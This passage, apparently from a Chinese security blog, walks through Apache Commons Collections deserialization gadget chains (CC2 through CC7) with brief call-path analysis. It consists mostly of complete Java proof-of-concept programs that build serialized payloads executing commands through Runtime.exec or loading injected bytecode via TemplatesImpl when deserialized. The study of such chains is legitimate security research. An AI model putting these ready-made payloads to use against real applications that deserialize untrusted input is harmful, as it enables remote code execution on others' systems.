51.         };
52.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
53.         HashMap<Object, Object> map = new HashMap<>();
54.         Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
55.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
56.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
57.         constructor.setAccessible(true);
58.         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
59.         Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
60.         Object o = constructor.newInstance(Target.class, newMap);
61.         serialize(o);
62.         deserialize("cc3.bin");
63.     }
64. }

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CC6

1. package org.example;
3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5. import org.apache.commons.collections.Transformer;
6. import org.apache.commons.collections.functors.ChainedTransformer;
7. import org.apache.commons.collections.functors.ConstantTransformer;
8. import org.apache.commons.collections.functors.InvokerTransformer;
9. import org.apache.commons.collections.keyvalue.TiedMapEntry;
10. import org.apache.commons.collections.map.LazyMap;
12. import java.io.*;
13. import java.lang.annotation.Target;
14. import java.lang.reflect.*;
15. import java.nio.file.Files;
16. import java.nio.file.Paths;
17. import java.util.HashMap;
18. import java.util.Map;
20. public class CC3 {
21.     public static void serialize(Object obj) throws IOException {
22.         FileOutputStream fos = new FileOutputStream("cc3.bin");
23.         ObjectOutputStream oos = new ObjectOutputStream(fos);
24.         oos.writeObject(obj);
25.     }
26.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
27.         FileInputStream fis = new FileInputStream(filename);
28.         ObjectInputStream ois = new ObjectInputStream(fis);
29.         ois.readObject();
30.     }
32.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
33.         TemplatesImpl templates = new TemplatesImpl();
34.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
35.         _name.setAccessible(true);
36.         _name.set(templates, "1");
37.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
38.         _bytecodes.setAccessible(true);
39.         byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
40.         byte[][] code = {bytes};
41.         _bytecodes.set(templates, code);
42.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
43.         _tfactory.setAccessible(true);
44.         _tfactory.set(templates, new TransformerFactoryImpl());
45.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
46.         ABSTRACT_TRANSLET.setAccessible(true);
47.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
48. //        Transformer transformer = templates.newTransformer();
49.         Transformer[] transformers = new Transformer[]{
50.                 new ConstantTransformer(templates),
51.                 new InvokerTransformer("newTransformer", null, null)
52.         };
53.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
54.         Map<Object, Object> map = new HashMap<>();
55.         Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
56.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
57.         HashMap<Object, Object> hashMap = new HashMap<>();
58.         hashMap.put(tiedMapEntry, null);
59.         map.remove(null);
60.         Field factory = LazyMap.class.getDeclaredField("factory");
61.         factory.setAccessible(true);
62.         factory.set(lazymap, chainedTransformer);
63.         serialize(hashMap);
64.         deserialize("cc3.bin");
65.     }
66. }

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收官，分析一下yso的CC3，又有所不同，可以看到它在Transformer[]里调用的是InstantiateTransformer，还引入了TrAXFilter这个类，我们追踪一下

首先TrAXFilter中会调用newTransformer

再看InstantiateTransformer的transform方法，获取构造器，再实例化，刚好可以触发TrAXFilter

1. package org.example;
3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
5. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
6. import org.apache.commons.collections.Transformer;
7. import org.apache.commons.collections.functors.ChainedTransformer;
8. import org.apache.commons.collections.functors.ConstantTransformer;
9. import org.apache.commons.collections.functors.InstantiateTransformer;
10. import org.apache.commons.collections.functors.InvokerTransformer;
11. import org.apache.commons.collections.keyvalue.TiedMapEntry;
12. import org.apache.commons.collections.map.LazyMap;
14. import javax.xml.transform.Templates;
15. import java.io.*;
16. import java.lang.annotation.Target;
17. import java.lang.reflect.*;
18. import java.nio.file.Files;
19. import java.nio.file.Paths;
20. import java.util.HashMap;
21. import java.util.Map;
23. public class cc3 {
24.     public static void serialize(Object obj) throws IOException {
25.         FileOutputStream fos = new FileOutputStream("cc3.bin");
26.         ObjectOutputStream oos = new ObjectOutputStream(fos);
27.         oos.writeObject(obj);
28.     }
29.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
30.         FileInputStream fis = new FileInputStream(filename);
31.         ObjectInputStream ois = new ObjectInputStream(fis);
32.         ois.readObject();
33.     }
35.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
36.         TemplatesImpl templates = new TemplatesImpl();
37.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
38.         _name.setAccessible(true);
39.         _name.set(templates, "1");
40.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
41.         _bytecodes.setAccessible(true);
42.         byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
43.         byte[][] code = {bytes};
44.         _bytecodes.set(templates, code);
45.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
46.         _tfactory.setAccessible(true);
47.         _tfactory.set(templates, new TransformerFactoryImpl());
48.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
49.         ABSTRACT_TRANSLET.setAccessible(true);
50.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
51. //        Transformer transformer = templates.newTransformer();
52.         Transformer[] transformers = new Transformer[]{
53.                 new ConstantTransformer(TrAXFilter.class),
54.                 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
55.         };
56.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
57.         HashMap<Object, Object> map = new HashMap<>();
58.         Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
59.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
60.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
61.         constructor.setAccessible(true);
62.         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
63.         Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
64.         Object o = constructor.newInstance(Target.class, newMap);
65.         serialize(o);
66.         deserialize("cc3.bin");
67.     }
68. }

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CC4

CC4必要commoncollection4的依赖
CC4其实就是CC3的前半部门，在修改了一下后部门的一些操作，不是像CC1，CC6那样使用LazyMap来触发transform了，所以得换别的类，如 TransformingComparator，这是commoncollection4里的类，我们跟进一下，compare这里调用了transform

继续跟进，看哪调用了compare，PriorityQueue类

跟进

继续跟进

完善

构造exp:

1. package org.example;
3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
5. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
6. import org.apache.commons.collections4.Transformer;
7. import org.apache.commons.collections4.functors.ChainedTransformer;
8. import org.apache.commons.collections4.functors.ConstantTransformer;
9. import org.apache.commons.collections4.functors.InstantiateTransformer;
10. import org.apache.commons.collections4.comparators.TransformingComparator;
12. import javax.xml.transform.Templates;
13. import java.io.*;
14. import java.lang.reflect.Field;
15. import java.nio.file.Files;
16. import java.nio.file.Paths;
17. import java.util.PriorityQueue;
19. public class cc4 {
20.     public static void serialize(Object obj) throws IOException {
21.         FileOutputStream fos = new FileOutputStream("cc4.bin");
22.         ObjectOutputStream oos = new ObjectOutputStream(fos);
23.         oos.writeObject(obj);
24.     }
25.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
26.         FileInputStream fis = new FileInputStream(filename);
27.         ObjectInputStream ois = new ObjectInputStream(fis);
28.         ois.readObject();
29.     }
31.     public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
32.         TemplatesImpl templates = new TemplatesImpl();
33.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
34.         _name.setAccessible(true);
35.         _name.set(templates, "1");
36.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
37.         _bytecodes.setAccessible(true);
38.         byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
39.         byte[][] code = {bytes};
40.         _bytecodes.set(templates, code);
41.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
42.         _tfactory.setAccessible(true);
43.         _tfactory.set(templates, new TransformerFactoryImpl());
44.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
45.         ABSTRACT_TRANSLET.setAccessible(true);
46.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
47.         Transformer[] transformers = new Transformer[]{
48.                 new ConstantTransformer(TrAXFilter.class),
49.                 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
50.         };
51.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
52.         TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
53.         Field transformer = TransformingComparator.class.getDeclaredField("transformer");
54.         transformer.setAccessible(true);
55.         transformer.set(transformingComparator, chainedTransformer);
56.         PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
57.         priorityQueue.add(1);
58.         priorityQueue.add(2);
59.         serialize(priorityQueue);
60.         deserialize("cc4.bin");
61.     }
62. }

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CC2

CC2与CC4不同的地方就是后半些许不同，没有用chainedtrainsform，直接用invokertransformer
直接上poc了，没啥可调试的

1. package org.example;
3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5. import org.apache.commons.collections4.comparators.TransformingComparator;
6. import org.apache.commons.collections4.functors.ConstantTransformer;
7. import org.apache.commons.collections4.functors.InvokerTransformer;
9. import java.io.*;
10. import java.lang.reflect.Field;
11. import java.nio.file.Files;
12. import java.nio.file.Paths;
13. import java.util.PriorityQueue;
15. public class cc2 {
16.     public static void serialize(Object obj) throws IOException {
17.         FileOutputStream fos = new FileOutputStream("cc2.bin");
18.         ObjectOutputStream oos = new ObjectOutputStream(fos);
19.         oos.writeObject(obj);
20.     }
21.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
22.         FileInputStream fis = new FileInputStream(filename);
23.         ObjectInputStream ois = new ObjectInputStream(fis);
24.         ois.readObject();
25.     }
27.     public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
28.         TemplatesImpl templates = new TemplatesImpl();
29.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
30.         _name.setAccessible(true);
31.         _name.set(templates, "1");
32.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
33.         _bytecodes.setAccessible(true);
34.         byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
35.         byte[][] code = {bytes};
36.         _bytecodes.set(templates, code);
37.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
38.         _tfactory.setAccessible(true);
39.         _tfactory.set(templates, new TransformerFactoryImpl());
40.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
41.         ABSTRACT_TRANSLET.setAccessible(true);
42.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
43.         InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
44.         TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
45.         PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
46.         priorityQueue.add(templates);
47.         priorityQueue.add(2);
48.         Field transformer = TransformingComparator.class.getDeclaredField("transformer");
49.         transformer.setAccessible(true);
50.         transformer.set(transformingComparator, invokerTransformer);
51.         serialize(priorityQueue);
52.         deserialize("cc2.bin");
53.     }
54. }

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CC5

CC5就是改了一点点的CC6，看链子，就改了readObject部门，分析一下

触发LazyMap.get换成了toString，这里调用了getValue

继续跟进，BadAttributeValueExpException的readObject调用了toString

这样就可以构造链子了，非常简单

1. package org.example;
3. import org.apache.commons.collections.Transformer;
4. import org.apache.commons.collections.functors.ChainedTransformer;
5. import org.apache.commons.collections.functors.ConstantTransformer;
6. import org.apache.commons.collections.functors.InvokerTransformer;
7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
8. import org.apache.commons.collections.map.LazyMap;
10. import javax.management.BadAttributeValueExpException;
11. import java.io.*;
12. import java.lang.reflect.Field;
13. import java.util.HashMap;
14. import java.util.Map;
16. public class cc5 {
17.     public static void serialize(Object obj) throws IOException {
18.         FileOutputStream fos = new FileOutputStream("cc5.bin");
19.         ObjectOutputStream oos = new ObjectOutputStream(fos);
20.         oos.writeObject(obj);
21.     }
22.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
23.         FileInputStream fis = new FileInputStream(filename);
24.         ObjectInputStream ois = new ObjectInputStream(fis);
25.         ois.readObject();
26.     }
28.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
29.         Transformer[] transformers = new Transformer[]{
30.                 new ConstantTransformer(Runtime.class),
31.                 new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
32.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
33.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
34.         };
35.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
36.         Map<Object, Object> map = new HashMap<>();
37.         Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
38.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
39.         BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
40.         Field val = BadAttributeValueExpException.class.getDeclaredField("val");
41.         val.setAccessible(true);
42.         val.set(badAttributeValueExpException, tiedMapEntry);
43.         serialize(badAttributeValueExpException);
44.         deserialize("cc5.bin");
45.     }
46. }

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CC7

CC7的链子，这里是从LazyMap.get的调用开始修改了

追踪一下，AbstractMap类的equals调用了get

继续追踪equals，AbstractMapDecorator的equals调用了

继续追踪，为什么要用reconstitutionPut？Hashtable里另有很多多少地方都调用了equals

因为它在readObject中被调用了

1.     private void readObject(ObjectInputStream s)
2.          throws IOException, ClassNotFoundException
3.     {
5.         ObjectInputStream.GetField fields = s.readFields();
7.         // Read and validate loadFactor (ignore threshold - it will be re-computed)
8.         float lf = fields.get("loadFactor", 0.75f);
9.         if (lf <= 0 || Float.isNaN(lf))
10.             throw new StreamCorruptedException("Illegal load factor: " + lf);
11.         lf = Math.min(Math.max(0.25f, lf), 4.0f);
13.         // Read the original length of the array and number of elements
14.         int origlength = s.readInt();
15.         int elements = s.readInt();
17.         // Validate # of elements
18.         if (elements < 0)
19.             throw new StreamCorruptedException("Illegal # of Elements: " + elements);
21.         // Clamp original length to be more than elements / loadFactor
22.         // (this is the invariant enforced with auto-growth)
23.         origlength = Math.max(origlength, (int)(elements / lf) + 1);
25.         // Compute new length with a bit of room 5% + 3 to grow but
26.         // no larger than the clamped original length.  Make the length
27.         // odd if it's large enough, this helps distribute the entries.
28.         // Guard against the length ending up zero, that's not valid.
29.         int length = (int)((elements + elements / 20) / lf) + 3;
30.         if (length > elements && (length & 1) == 0)
31.             length--;
32.         length = Math.min(length, origlength);
34.         if (length < 0) { // overflow
35.             length = origlength;
36.         }
38.         // Check Map.Entry[].class since it's the nearest public type to
39.         // what we're actually creating.
40.         SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
41.         Hashtable.UnsafeHolder.putLoadFactor(this, lf);
42.         table = new Entry<?,?>[length];
43.         threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
44.         count = 0;
46.         // Read the number of elements and then all the key/value objects
47.         for (; elements > 0; elements--) {
48.             @SuppressWarnings("unchecked")
49.                 K key = (K)s.readObject();
50.             @SuppressWarnings("unchecked")
51.                 V value = (V)s.readObject();
52.             // sync is eliminated for performance
53.             reconstitutionPut(table, key, value);
54.         }
55.     }

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这样链子就明了了，构造poc，注意AbstractMapDecorator和AbstractMap都是抽象类，并不能实例化，但是都实现了Map，所以调用equals时是调用lazyMap.equals，找不到往上找就能找到AbstractMap.equals

1. package org.example;
3. import org.apache.commons.collections.Transformer;
4. import org.apache.commons.collections.functors.ChainedTransformer;
5. import org.apache.commons.collections.functors.ConstantTransformer;
6. import org.apache.commons.collections.functors.InvokerTransformer;
7. import org.apache.commons.collections.map.AbstractMapDecorator;
8. import org.apache.commons.collections.map.LazyMap;
10. import java.io.*;
11. import java.lang.reflect.Field;
12. import java.util.AbstractMap;
13. import java.util.HashMap;
14. import java.util.Hashtable;
15. import java.util.Map;
17. public class cc7 {
18.     public static void serialize(Object obj) throws IOException {
19.         FileOutputStream fos = new FileOutputStream("cc7.bin");
20.         ObjectOutputStream oos = new ObjectOutputStream(fos);
21.         oos.writeObject(obj);
22.     }
23.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
24.         FileInputStream fis = new FileInputStream(filename);
25.         ObjectInputStream ois = new ObjectInputStream(fis);
26.         ois.readObject();
27.     }
29.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
30.         Transformer[] transformers = new Transformer[]{
31.                 new ConstantTransformer(Runtime.class),
32.                 new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
33.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
34.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
35.         };
36.         ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
37.         Map<Object, Object> map1 = new HashMap<>();
38.         Map<Object, Object> map2 = new HashMap<>();
39.         Map<Object, Object> lazymap1 = LazyMap.decorate(map1, chainedTransformer);
40.         Map<Object, Object> lazymap2 = LazyMap.decorate(map2, chainedTransformer);
41.         lazymap1.put("yy", 1);
42.         lazymap2.put("zZ",1);
43.         Hashtable hashtable = new Hashtable<>();
44.         hashtable.put(lazymap1, 1);
45.         hashtable.put(lazymap2,2);
46.         Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
47.         iTransformers.setAccessible(true);
48.         iTransformers.set(chainedTransformer, transformers);
49.         lazymap2.remove("yy");
50.         serialize(hashtable);
51.         deserialize("cc7.bin");
52.     }
53. }

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